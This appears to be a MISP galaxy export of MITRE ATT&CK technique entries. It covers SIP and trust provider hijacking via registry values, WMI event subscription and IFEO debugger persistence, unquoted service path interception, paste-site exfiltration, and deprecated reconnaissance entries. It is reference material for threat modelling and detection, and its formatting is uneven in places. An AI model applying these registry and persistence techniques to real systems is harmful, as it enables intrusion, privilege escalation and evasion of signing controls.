Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

- Modifying the `<code>Dll</code>` and `<code>FuncName</code>` Registry values in `<code>HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg(SIP_GUID)</code>` that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
• Modifying the `<code>Dll</code>` and `<code>FuncName</code>` Registry values in `<code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDll\VerifyIndirectData\{SIP_GUID}</code>` that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.

• Modifying the `<code>DLL</code>` and `<code>Function</code>` Registry values in `<code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy \{trust provider GUID}</code>` that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).

• **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1553.003"`

*Table 4919. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1553/003">https://attack.mitre.org/techniques/T1553/003</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)">https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)">https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files">https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files</a></td>
</tr>
<tr>
<td><a href="https://github.com/mattifestation/PoCSubjectInterfacePackage">https://github.com/mattifestation/PoCSubjectInterfacePackage</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/ms537359.aspx">https://msdn.microsoft.com/library/ms537359.aspx</a></td>
</tr>
<tr>
<td><a href="https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf">https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf</a></td>
</tr>
</tbody>
</table>

2210
Windows Management Instrumentation Event Subscription - T1546.003

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user logging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)

Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)

WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.

The tag is: `misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003"`

Table 4920. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/003">https://attack.mitre.org/techniques/T1546/003</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1">https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format%E2%80%94mof-">https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format—mof-</a></td>
</tr>
<tr>
<td><a href="https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96">https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1">https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/wmi-persistence">https://www.secureworks.com/blog/wmi-persistence</a></td>
</tr>
</tbody>
</table>

Exfiltration to Text Storage Sites - T1567.003

Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as `<code>pastebin[.]com</code>`, are commonly used by developers to share code and other information.

Text storage sites are often used to host malicious code for C2 communication (e.g., [Stage
Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)

**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.

The tag is: `misp-galaxy:mitre-attack-pattern="Exfiltration to Text Storage Sites - T1567.003"`

---

### Table 4921. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1567/003">https://attack.mitre.org/techniques/T1567/003</a></td>
</tr>
</tbody>
</table>

---

## Executable Installer File Permissions Weakness - T1574.005

Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the `<code>%TEMP%</code>` directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002).

Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

The tag is: `misp-galaxy:mitre-attack-pattern="Executable Installer File Permissions Weakness - T1574.005"`
Path Interception by Unquoted Path - T1574.009

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary’s executable to launch.

Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., `<code>C:\unsafe path with space\program.exe</code>` vs. `<code>"C:\safe path with space\program.exe"</code>`). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is `<code>C:\program files\myapp.exe</code>`, an adversary may create a program at `<code>C:\program.exe</code>` that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)

This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

The tag is: `misp-galaxy:mitre-attack-pattern="Path Interception by Unquoted Path - T1574.009"`

Image File Execution Options Injection - T1546.012

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOS enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., `<code>C:\dbg\ntsd.exe -g notepad.exe</code>`). (Citation: Microsoft Dev Blog IFEO
Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as `<code>Debugger</code>` values in the Registry under `<code>HKLM\SOFTWARE\{Wow6432Node\}Microsoft\Windows NT\CurrentVersion\Image File Execution Options\executable</code>` where `<code>executable</code>` is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in `<code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit</code>`. (Citation: Microsoft Silent Process Exit NOV 2017) Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

The tag is: `misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012"`

**Table 4924. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/">http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/012">https://attack.mitre.org/techniques/T1546/012</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview">https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit">https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit</a></td>
</tr>
</tbody>
</table>

2214
Friend/Follow/Connect to targets of interest - T1344

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1344).

Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)

The tag is: misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1344"

View relationships graph

Friend/Follow/Connect to targets of interest - T1344 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1364" with estimative-language:likelihood-probability="almost-certain"

Table 4925. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1344">https://attack.mitre.org/techniques/T1344</a></td>
</tr>
</tbody>
</table>

Friend/Follow/Connect to targets of interest - T1364

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1364).

A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)

The tag is: misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1364"

View relationships graph

Friend/Follow/Connect to targets of interest - T1364 has relationships with:
Identify personnel with an authority/privilege - T1271

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1271).

Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify personnel with an authority/privilege - T1271"`

Receive KITs/KIQs and determine requirements - T1239

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1239).

Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)

The tag is: `misp-galaxy:mitre-attack-pattern="Receive KITs/KIQs and determine requirements - T1239"`
Identify job postings and needs/gaps - T1248

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1248).

Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1248"`

View relationships graph

Identify job postings and needs/gaps - T1248 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1267"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1278"` with estimative-language:likelihood-probability="almost-certain"

**Table 4929. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1248">https://attack.mitre.org/techniques/T1248</a></td>
</tr>
</tbody>
</table>

Analyze hardware/software security defensive capabilities - T1294

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1294).

An adversary can probe a victim’s network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)

The tag is: `misp-galaxy:mitre-attack-pattern="Analyze hardware/software security defensive capabilities - T1294"`

**Table 4930. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1294">https://attack.mitre.org/techniques/T1294</a></td>
</tr>
</tbody>
</table>
Discover target logon/email address format - T1255

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1255).

Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)

The tag is: `misp-galaxy:mitre-attack-pattern="Discover target logon/email address format - T1255"`

Table 4931. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1255">https://attack.mitre.org/techniques/T1255</a></td>
</tr>
</tbody>
</table>

Identify job postings and needs/gaps - T1267

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1267).

Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1267"`

View relationships graph

Identify job postings and needs/gaps - T1267 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1278" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1248" with estimative-language:likelihood-probability="almost-certain"

Table 4932. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1267">https://attack.mitre.org/techniques/T1267</a></td>
</tr>
</tbody>
</table>

Identify job postings and needs/gaps - T1278

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content
Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1278"`

**View relationships graph**

Identify job postings and needs/gaps - T1278 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1267"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1248"` with estimative-language:likelihood-probability="almost-certain"

**Analyze organizational skillsets and deficiencies - T1300**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1300).

Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)

The tag is: `misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1300"`

**View relationships graph**

Analyze organizational skillsets and deficiencies - T1300 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1289"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1297"` with estimative-language:likelihood-probability="almost-certain"
Exfiltration Over Other Network Medium - T1011

Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.

Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011"

Network Traffic Capture or Redirection - T1410

An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.

A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.

Alternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.

An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device’s proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.

If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.

The tag is: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410"

Network Traffic Capture or Redirection - T1410 has relationships with:

Determine 3rd party infrastructure services - T1260

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1260).

Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)

The tag is: `misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1260"

View relationships graph

Determine 3rd party infrastructure services - T1260 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1284"` with estimative-language:likelihood-probability="almost-certain"

Analyze presence of outsourced capabilities - T1303

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1303).

Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)

The tag is: `misp-galaxy:mitre-attack-pattern="Analyze presence of outsourced capabilities - T1303"

Table 4938. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1260">https://attack.mitre.org/techniques/T1260</a></td>
</tr>
</tbody>
</table>
Boot or Logon Initialization Scripts - T1037

Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.

The tag is: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037"

Table 4939. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1037">https://attack.mitre.org/techniques/T1037</a></td>
</tr>
</tbody>
</table>

Data from Network Shared Drive - T1039

Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.

The tag is: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039"

Table 4940. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1039">https://attack.mitre.org/techniques/T1039</a></td>
</tr>
</tbody>
</table>

Download New Code at Runtime - T1407

Adversaries may download and execute dynamic code not included in the original application package after installation. This technique is primarily used to evade static analysis checks and pre-publication scans in official app stores. In some cases, more advanced dynamic or behavioral analysis techniques could detect this behavior. However, in conjunction with [Execution Guardrails](https://attack.mitre.org/techniques/T1627) techniques, detecting malicious code downloaded after installation could be difficult.

On Android, dynamic code could include native code, Dalvik code, or JavaScript code that utilizes
Android WebView's JavascriptInterface capability.

On iOS, dynamic code could be downloaded and executed through 3rd party libraries such as JSPatch. (Citation: FireEye-JSPatch)

The tag is: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407"

Table 4941. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1407">https://attack.mitre.org/techniques/T1407</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html">https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html</a></td>
</tr>
</tbody>
</table>

Windows Management Instrumentation Event Subscription - T1084

Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer’s uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)

The tag is: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084"

View relationships graph

Windows Management Instrumentation Event Subscription - T1084 has relationships with:


Table 4942. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1084">https://attack.mitre.org/techniques/T1084</a></td>
</tr>
<tr>
<td><a href="https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96">https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/wmi-persistence">https://www.secureworks.com/blog/wmi-persistence</a></td>
</tr>
</tbody>
</table>
Custom Command and Control Protocol - T1094

Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.

The tag is: `misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094"`

View relationships graph

Custom Command and Control Protocol - T1094 has relationships with:


Table 4943. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1094">https://attack.mitre.org/techniques/T1094</a></td>
</tr>
</tbody>
</table>

Trusted Developer Utilities Proxy Execution - T1127

Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.

The tag is: `misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127"

Table 4944. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1127">https://attack.mitre.org/techniques/T1127</a></td>
</tr>
<tr>
<td><a href="https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/">https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/</a></td>
</tr>
<tr>
<td><a href="https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/">https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/</a></td>
</tr>
</tbody>
</table>
App Delivered via Web Download - T1431

The application is downloaded from an arbitrary web site. A link to the application’s download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="App Delivered via Web Download - T1431"

View relationships graph

App Delivered via Web Download - T1431 has relationships with:


Table 4945. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
